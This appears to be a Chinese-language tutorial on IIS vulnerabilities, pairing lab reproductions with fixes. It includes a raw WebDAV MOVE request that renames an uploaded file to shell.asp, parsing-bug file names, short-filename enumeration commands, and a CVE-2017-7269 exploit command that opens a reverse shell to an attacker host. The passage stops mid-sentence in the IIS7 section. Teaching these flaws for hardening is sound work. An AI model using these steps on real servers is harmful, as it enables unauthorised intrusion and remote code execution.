IIS漏洞大全（附修复方法）- 惊觉

IIS6.0

IIS6.0任意文件写入

IlS Server 在 Web 服务扩展中开启了 WebDAV，配置了可以写入的权限，造成任意文件上传。

漏洞复现

fofa:"llS-6.0" or
本地搭建2003 server
1)开启 WebDAV 和写权限:

做好准备工作后开启环境，然后我们去访问配置的IP，访问到如下页面

然后开启抓包刷新页面，在抓到的数据包后将其发送到重放器，将请求方式改为OPTIONS后点击发送，在返回包中就可以看到可以使用的请求方式

这里可以直接用PUT方式上传文件，但是不能上传脚本文件，所以为了上传脚本，我们可以先上传一个普通的1.txt文件，然后利用move方式将其改名为脚本文件的格式

其中PUT /后面跟上我们要上传的文件名，然后在最后一行写上我们要上传的文件的内容，将多余的请求数据都删除，只留下请求头，host以及长度和内容，然后点击发送，出现201则上传成功

我们回到靶机中刷新查看也发现上传成功

然后将请求方式改为MOVE后，将数据包改为如下内容后再次点击上传，shell.asp是想改为的名字

MOVE /2.txt HTTP/1.1
Host: 192.168.159.131
Destination: http://192.168.159.131/shell.asp

我们到靶机中查看，成功上传

漏洞修复

1.关闭webdav ；

2.关闭写⼊权限。

IIS6.0解析漏洞

在iis6.x版本中存在可以将任意文件当作asp文件解析的漏洞，我们在网站目录下创建一个名为1.asp的文件夹，则在其中的任何文件都会当作asp文件去运行，如下

先在默认网站中右键，点击打开

然后在这里创建一个1.asp的文件夹，再创建一个内容为<%=now()%>（这个函数为查看当前时间）的txt文件，将1.txt放入1.asp中，然后用物理机去访问，即可得到当前时间

用ipconfig查看虚拟机IP后去物理机访问192.168.209.133/1.asp/1.txt

二.IIS6.x（2）

当我们在网站目录下创建一个名为1.asp.;.jpg的文件，内容同样为<%=now()%>，当我们去访问时，也会得到当前时间，这证明该文件虽然后缀名为jpg，但是他也会被当作asp文件运行。

IIS短⽂件漏洞

Windows 以 8.3 格式⽣成与 MS-DOS 兼容的（短）⽂件名，以允许基于 MS-DOS 或 16

位 Windows的程序访问这些⽂件。在cmd下输⼊" dir /x "即可看到短⽂件名的效果。

原理

当后缀⼩于4时，短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。

当后缀⼤于等于4时，⽂件名前缀字符⻓度即使为1，也会产⽣短⽂件名。

⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、

TRACE六种； IIS 8.0之后的版本只能通过OPTIONS和TRACE⽅法被猜测成功。

漏洞复现

IIS8.0以下版本需要开启ASP.NET⽀持，IIS>=8.0版本，即使没有安装ASP.NET，通过OPTIONS和TRACE⽅法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进⾏复现。

在这里，我们可以看到有短文件

短⽂件名特征：

1. 只显示前6位的字符，后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂

件，则前⾯的 6个字符是相同的，后⾯的数字进⾏递增。

2. 后缀名最⻓只有3位，超过3位的会⽣成短⽂件名，且后缀多余的部分会截断。

3. 所有⼩写字⺟均转换成⼤写的字⺟；

4. ⻓⽂件名中包含多个” . ”的时候，以⽂件最后⼀个” . ”作为短⽂件名的后缀；

5. ⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂

件名，如果包含空格或者其他部分特殊字符，不论⻓度均会⽣成短⽂件。

使⽤payload验证⽬标是否存在IIS短⽂件名漏洞，显示的404，说明⽬标存在该短⽂件名：

通过浏览器访问⼀个不存在的短⽂件名，会返回400状态码, 400说明该⽂件不存在：

根据上面测试可以说明⽬标存在IIS短⽂件漏洞；

判断漏洞存在后，接下来⼿⼯详细分析猜解IIS短⽂件名：

以 abcde11123354566.txt⽂件为例，分别访问： /a*~1*/a.aspx ；/b*~1*/a.aspx

可以发现，a开头的文件因为存在，所以显示404，b开头的文件因为不存在，所以显示badrequest，我们接着猜文件名第二位，

aa不存在，我们尝试ab，ab存在

之后的就按照这样一步一步试所有的字母与数字

而文件后缀名要在~1后面尝试，我们先输入.a，返回badrequest，说明ab开头的文件后缀名不是a开头的

我们再尝试t，返回404，则ab开头的文件后缀名第一个字母是t

也是，按照字母顺序一个一个尝试，最后试出文件名与后缀

下面是IIS短⽂件名扫描软件，获取⽬标存在哪些短⽂件名；

⼯具： https://github.com/lijiejie/IIS_shortname_Scanner

⽤法： python2 iis_shortname_Scan.py http://192.168.159.131/

漏洞防御

1. 升级.net framework ；

2. 修改注册表键值：

a. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改

NtfsDisable8dot3NameCreation为1。

b. 修改完成后,需要重启系统⽣效。

c. 命令⾏关闭 fsutil behavior set disable8dot3 1 。

d. 新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。

e. 注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建，已经存在的⽂件的短⽂件名⽆法移除，需

要重新复制才会消失。如果不重新复制，已经存在的短⽂件名则是不会消失的。

f. 将web⽂件夹的内容拷⻉到另⼀个位置，如c:\www到c:\ww，然后删除原⽂件夹，再重

命名c:\ww到 c:\www。

IIS RCE-CVE-2017-7269

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的

ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的⻓标头执

⾏任意代码 PROPFIND请求。

影响范围

WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。

漏洞复现-反弹shell

同样的，我们再windowserver2003中的iis服务

这里需要用到一个工具，下载链接为：https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

将其下载到kali中后，利用如下命令运行工具

python2 '/root/Desktop/iis6-exploit-2017-CVE-2017-7269-master/iis6-exploit-2017-CVE-2017-7269-master/iis6 reverse shell' 192.168.159.131 80 192.168.159.129 4455

其中第一个ip是我们靶机的ip，也就是server2003的IP，第二个ip为攻击机-也就是kali的IP，以及kali开启监听的端口，开启监听后直接运行命令，稍微等待后即可成功反弹到shell

漏洞防御

1.关闭 WebDav服务；

2.升级；

3.部署安全设备。

IIS 7x

IIS7⽂件解析漏洞

在IIS7.0和IIS7.5版本下也存在解析漏洞，在默认Fast-CGI开启状况下，在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。接下来我们尝试复现，首先打开配置文件php.ini,查找cgi.fix_pathinfo=1，将前面的分号；删除